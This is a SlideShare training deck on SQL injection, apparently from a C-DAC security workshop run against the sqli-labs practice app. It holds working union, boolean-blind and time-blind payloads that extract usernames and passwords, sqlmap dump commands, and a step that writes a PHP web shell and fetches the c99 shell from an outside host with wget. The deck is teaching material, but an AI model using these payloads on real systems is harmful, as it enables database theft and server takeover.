SlideShare una empresa de Scribd logo
1 de 31
Descargar para leer sin conexión
Sqli Injection
#whoami
Ahamed Saleem
@saleem14489
#Security Researcher @CDAC
● What is Sql Injection
● Types of sql injection
– Error based Injection ( String, numeric, Union, error )
– Time based Blind SQLi
– Boolean based Blind SQLi
– Cookie based Injection
– Compromising Database server using SQLi (upload a shell)
– Exploitation using SQLmap
– Bypass filters to successfully exploit SQLi .
Agenda
Baa, baa, black hat
Have you any sploits?
Yes, sir, yes, sir
3 bulletproof choices
One for Java
One for IE
One for Chrome
(ha ha ha )
➔
Structured Query Language designed for managing
data held in a relational database management
systems (RDBMS).
➔
The scope of SQL includes data insert, update and
delete, schema creation and modification, and data
access control.
What Is Sql ?
Definition Of Sql Injection
Def :
“SQL injection attacks are a type of injection attack, in which
SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands”
Cause:
It is a flaw in “web application development “ ,
it is not a DB or web server problem
→ most programmers are still not aware of this problem
→ lot of solutions posted on the internet are not good
enough
Anatomy Of Sql Injection
Sql Injection
Error Based Blind Based
Boolean Based Time Based
© C-DAC, Hyderabad - 2013
SQL Injection – Illustrated
Firewall
Hardened OS
Web Server
App Server
Firewall
Databases
LegacySystems
WebServices
Directories
HumanResrcs
Billing
Custom Code
APPLICATION
ATTACK
NetworkLayerApplicationLayer
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
HTTP
request
SQL
query
DB Table 

HTTP
response


"SELECT * FROM
accounts WHERE
acct=‘’ OR
1=1--’"
1. Application presents a form
to the attacker
2. Attacker sends an attack in
the form data
3. Application forwards attack to
the database in a SQL query
Account Summary
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
4. Database runs query containing
attack and sends encrypted
results back to application
5. Application decrypts data as
normal and sends results to
the user
Account:
SKU:
Account:
SKU:
OWASP Top 10
Myth
Escaping input
Prevents Sql Injection
Sql Injection is an
old problem -
So I dont have to
worry about it
Error Based Injections
Error-based SQL injections are primarily those
in which the SQL server dumps some errors
back to the user via the web application and
this error aids in successful exploitation
A methodological approach is always helpful in
understanding the underlying logic. The major process
is as follows:
1.Enumerate the application behavior
2.Fuzz the application with bogus data with the goal of
crashing the application
3.Try to control the injection point by guessing the
query used in the back-end
4. Extract the data from the back end database
Enough theory, time for some action.
Demo
●
Id = 1' --+
●
id=1' AND 1=1 --+
●
id=1' union select 1,2,3 --+
●
id=999' union select 1,2,3 --+
●
id=-1' union select 1,table_name,3 from
information_schema.tables where table_schema=database() --+
●
id=-1' union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema=database()--+
●
id=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='users'--+
●
id=-1' union select 1,group_concat(username),
group_concat(password) from users --+
Blind Injections
Blind SQL injections are those injections in which the
backend database reacts to the input, but somehow the
errors are concealed by the web application and not
displayed to the end users
Boolean Based :
The information must be inferred from the behavior
of the page by asking the server true/false
questions
Time Based :
Gain information by observing timing delays in the
response of the database
Boolean Based Injections
select ascii(substr(database(),1,1));
id=1' AND (ascii(substr((select database()),3,1))) = 99 --+
id=1' AND (ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)))=101 --+
Time based Injections
id=1' and if((select database()="security"), sleep(10),null) --+
id=1' and if ((select substr(table_name,1,1)
from information_schema.tables
where table_schema=database() limit 0,1 ) ='e' , sleep(10) , null)--+
Uploading shell
http://localhost/sqli-labs-master/Less-1/?id=-1'
union select "","","<?system($_REQUEST['cmd'];?>"
into outfile '/var/www/shell.php' --+
http://localhost/shell.php?
cmd=wget http://www.r57shell.net/shell/c99.txt
SqlMap detects and expolits SQLi flaws
Features :
●
Full support for MySQL, Oracle, PostgreSQL
and Microsoft SQL Server
●
Three SQL Injection techniques :
●
Boolean-based
●
Union queries
●
Batched queries
●
Perform an extensive back-end DBMS
fingerprint
●
Enumerate users, password hashes, privileges,
databases, tables, columns and their data-type
●
Dump entire or user specified database table
entries
●
Run custom SQL statements
SqlMap detects and expolits SQLi flaws
Dishum Dishum usingSQLMAP
– First detect the vulnerable URLS
– Now use sqlmap :
1 . python sqlmap.py –u http://site.com/?id=1 {Identify sqli is present or not }
2 . python sqlmap.py -u http://site.com/?id=1 --dbs {Discover databases}
3./sqlmap -u http://site.com/?id=1 --tables -D <db name> {table in db}
4./sqlmap -u http://site.com/?id=1 --columns -D <db name> -T <table name>
5./sqlmap -u http://site.com/?id=1 --dump -D <db name> -T <table name>{data
Uploading Shell Using SQLMap :
1. Check if the current user is DBA or not .
./sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user –is-dba
2.now enter the webserver path
./sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --os-cmd -v 1
3. now the webshell can be loaded using the sqlmap file stager .
DEMO
ByPassing the blacklist Filters
Bypass AND and OR : Id=1' || 1=1 --+ id=1' %26%26 1=1 --+
Hands On
Methodology
●
Break it
– Try to break the query by fuzzing
●
Fix it
– Now based on the error try to balance and fix the
query
© C-DAC, Hyderabad - 2013
✔
What is Sql Injection
✔
Types of Sql Injection
✔
Hands on
What did we cover?
© C-DAC, Hyderabad - 2013
* Websites and References
OWASP, WASC, MSDN
* Books and Mailing Lists
Web Application Hackers Handbook, OWASP Guides
* Tools to use
Burp, Paros, Firefox Extensions, Virtual Box, Linux
What did we cover?Further Roadmap
© C-DAC, Hyderabad - 2013
Acknowledge
●
@Sqlilabs
●
@Google
●
@Nullhyd
●
@cswan
●
@thenounproject
© C-DAC, Hyderabad - 2013
Thank U
@saleem14489
Facebook.com/ahamedssaleem
Saleem4u.ahamed@gmail.com

Más contenido relacionado

La actualidad más candente

Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testingNapendra Singh
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresCade Zvavanjanja
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySandip Chaudhari
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONMentorcs
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with examplePrateek Chauhan
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity FrameworksRich Helton
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection TutorialMagno Logan
 
SQL Injection Attacks cs586
SQL Injection Attacks cs586SQL Injection Attacks cs586
SQL Injection Attacks cs586Stacy Watts
 
Time-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesTime-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesChema Alonso
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injectionmatt_presson
 
Web Security: SQL Injection
Web Security: SQL InjectionWeb Security: SQL Injection
Web Security: SQL InjectionVortana Say
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniquesSongchaiDuangpan
 

La actualidad más candente (20)

SQL Injections (Part 1)
SQL Injections (Part 1)SQL Injections (Part 1)
SQL Injections (Part 1)
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testing
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasures
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with example
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity Frameworks
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection Tutorial
 
SQL Injection Attacks cs586
SQL Injection Attacks cs586SQL Injection Attacks cs586
SQL Injection Attacks cs586
 
Time-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesTime-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy Queries
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Web Security: SQL Injection
Web Security: SQL InjectionWeb Security: SQL Injection
Web Security: SQL Injection
 
SQL injection prevention techniques
SQL injection prevention techniquesSQL injection prevention techniques
SQL injection prevention techniques
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 

Destacado

Union based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials PointUnion based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials PointAl Zarqali
 
Sql injection 幼幼班
Sql injection 幼幼班Sql injection 幼幼班
Sql injection 幼幼班hugo lu
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Bernardo Damele A. G.
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and preventionhelloanand
 
Unix commands in etl testing
Unix commands in etl testingUnix commands in etl testing
Unix commands in etl testingGaruda Trainings
 
SQL Tutorial - Basic Commands
SQL Tutorial - Basic CommandsSQL Tutorial - Basic Commands
SQL Tutorial - Basic Commands1keydata
 

Destacado (7)

Union based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials PointUnion based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials Point
 
Sql injection 幼幼班
Sql injection 幼幼班Sql injection 幼幼班
Sql injection 幼幼班
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
Unix commands in etl testing
Unix commands in etl testingUnix commands in etl testing
Unix commands in etl testing
 
SQL Tutorial - Basic Commands
SQL Tutorial - Basic CommandsSQL Tutorial - Basic Commands
SQL Tutorial - Basic Commands
 

Similar a Sqli Injection Types and Hands-On Demo

Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacksKevin Kline
 
Advanced SQL Injection Attack & Defenses
Advanced SQL Injection Attack & DefensesAdvanced SQL Injection Attack & Defenses
Advanced SQL Injection Attack & DefensesTiago Mendo
 
Developing on SQL Azure
Developing on SQL AzureDeveloping on SQL Azure
Developing on SQL AzureIke Ellis
 
Web security
Web securityWeb security
Web securitydogangcr
 
seminar report on Sql injection
seminar report on Sql injectionseminar report on Sql injection
seminar report on Sql injectionJawhar Ali
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Nuno Loureiro
 
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)Sam Bowne
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQLScott Sutherland
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers dofangjiafu
 
Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)Sam Bowne
 
Web application penetration using SQLMAP.
Web application penetration using SQLMAP.Web application penetration using SQLMAP.
Web application penetration using SQLMAP.asmitaanpat
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationScott Sutherland
 
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)Sam Bowne
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionSina Manavi
 
SQL Injection Attacks: Is Your Data Secure? .NET Edition
SQL Injection Attacks: Is Your Data Secure? .NET EditionSQL Injection Attacks: Is Your Data Secure? .NET Edition
SQL Injection Attacks: Is Your Data Secure? .NET EditionBert Wagner
 
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL InjectionShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL InjectionChema Alonso
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesChema Alonso
 

Similar a Sqli Injection Types and Hands-On Demo (20)

Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
 
Advanced SQL Injection Attack & Defenses
Advanced SQL Injection Attack & DefensesAdvanced SQL Injection Attack & Defenses
Advanced SQL Injection Attack & Defenses
 
Developing on SQL Azure
Developing on SQL AzureDeveloping on SQL Azure
Developing on SQL Azure
 
Web security
Web securityWeb security
Web security
 
seminar report on Sql injection
seminar report on Sql injectionseminar report on Sql injection
seminar report on Sql injection
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks
 
SQL Injection in JAVA
SQL Injection in JAVASQL Injection in JAVA
SQL Injection in JAVA
 
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S Ch 9: Attacking Data Stores (Part 2 of 2)
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)Ch 9 Attacking Data Stores (Part 2)
Ch 9 Attacking Data Stores (Part 2)
 
Web application penetration using SQLMAP.
Web application penetration using SQLMAP.Web application penetration using SQLMAP.
Web application penetration using SQLMAP.
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
 
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
CNIT 129S: 9: Attacking Data Stores (Part 2 of 2)
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL Injection
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
SQL Injection Attacks: Is Your Data Secure? .NET Edition
SQL Injection Attacks: Is Your Data Secure? .NET EditionSQL Injection Attacks: Is Your Data Secure? .NET Edition
SQL Injection Attacks: Is Your Data Secure? .NET Edition
 
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL InjectionShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy Queries
 

Último

Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Vector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector DatabasesVector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector DatabasesZilliz
 

Último (20)

Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Vector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector DatabasesVector Databases 101 - An introduction to the world of Vector Databases
Vector Databases 101 - An introduction to the world of Vector Databases
 

Sqli Injection Types and Hands-On Demo

  • 3. ● What is Sql Injection ● Types of sql injection – Error based Injection ( String, numeric, Union, error ) – Time based Blind SQLi – Boolean based Blind SQLi – Cookie based Injection – Compromising Database server using SQLi (upload a shell) – Exploitation using SQLmap – Bypass filters to successfully exploit SQLi . Agenda
  • 4. Baa, baa, black hat Have you any sploits? Yes, sir, yes, sir 3 bulletproof choices One for Java One for IE One for Chrome (ha ha ha )
  • 5. ➔ Structured Query Language designed for managing data held in a relational database management systems (RDBMS). ➔ The scope of SQL includes data insert, update and delete, schema creation and modification, and data access control. What Is Sql ?
  • 6. Definition Of Sql Injection Def : “SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands” Cause: It is a flaw in “web application development “ , it is not a DB or web server problem → most programmers are still not aware of this problem → lot of solutions posted on the internet are not good enough
  • 7. Anatomy Of Sql Injection Sql Injection Error Based Blind Based Boolean Based Time Based
  • 8.
  • 9. © C-DAC, Hyderabad - 2013 SQL Injection – Illustrated Firewall Hardened OS Web Server App Server Firewall Databases LegacySystems WebServices Directories HumanResrcs Billing Custom Code APPLICATION ATTACK NetworkLayerApplicationLayer Accounts Finance Administration Transactions Communication KnowledgeMgmt E-Commerce Bus.Functions HTTP request SQL query DB Table   HTTP response   "SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’" 1. Application presents a form to the attacker 2. Attacker sends an attack in the form data 3. Application forwards attack to the database in a SQL query Account Summary Acct:5424-6066-2134-4334 Acct:4128-7574-3921-0192 Acct:5424-9383-2039-4029 Acct:4128-0004-1234-0293 4. Database runs query containing attack and sends encrypted results back to application 5. Application decrypts data as normal and sends results to the user Account: SKU: Account: SKU:
  • 11. Myth Escaping input Prevents Sql Injection Sql Injection is an old problem - So I dont have to worry about it
  • 12. Error Based Injections Error-based SQL injections are primarily those in which the SQL server dumps some errors back to the user via the web application and this error aids in successful exploitation
  • 13. A methodological approach is always helpful in understanding the underlying logic. The major process is as follows: 1.Enumerate the application behavior 2.Fuzz the application with bogus data with the goal of crashing the application 3.Try to control the injection point by guessing the query used in the back-end 4. Extract the data from the back end database Enough theory, time for some action. Demo
  • 14. ● Id = 1' --+ ● id=1' AND 1=1 --+ ● id=1' union select 1,2,3 --+ ● id=999' union select 1,2,3 --+ ● id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+ ● id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ ● id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ ● id=-1' union select 1,group_concat(username), group_concat(password) from users --+
  • 15. Blind Injections Blind SQL injections are those injections in which the backend database reacts to the input, but somehow the errors are concealed by the web application and not displayed to the end users Boolean Based : The information must be inferred from the behavior of the page by asking the server true/false questions Time Based : Gain information by observing timing delays in the response of the database
  • 16.
  • 17. Boolean Based Injections select ascii(substr(database(),1,1)); id=1' AND (ascii(substr((select database()),3,1))) = 99 --+ id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
  • 18. Time based Injections id=1' and if((select database()="security"), sleep(10),null) --+ id=1' and if ((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1 ) ='e' , sleep(10) , null)--+
  • 19. Uploading shell http://localhost/sqli-labs-master/Less-1/?id=-1' union select "","","<?system($_REQUEST['cmd'];?>" into outfile '/var/www/shell.php' --+ http://localhost/shell.php? cmd=wget http://www.r57shell.net/shell/c99.txt
  • 20. SqlMap detects and expolits SQLi flaws Features : ● Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server ● Three SQL Injection techniques : ● Boolean-based ● Union queries ● Batched queries ● Perform an extensive back-end DBMS fingerprint
  • 21. ● Enumerate users, password hashes, privileges, databases, tables, columns and their data-type ● Dump entire or user specified database table entries ● Run custom SQL statements SqlMap detects and expolits SQLi flaws
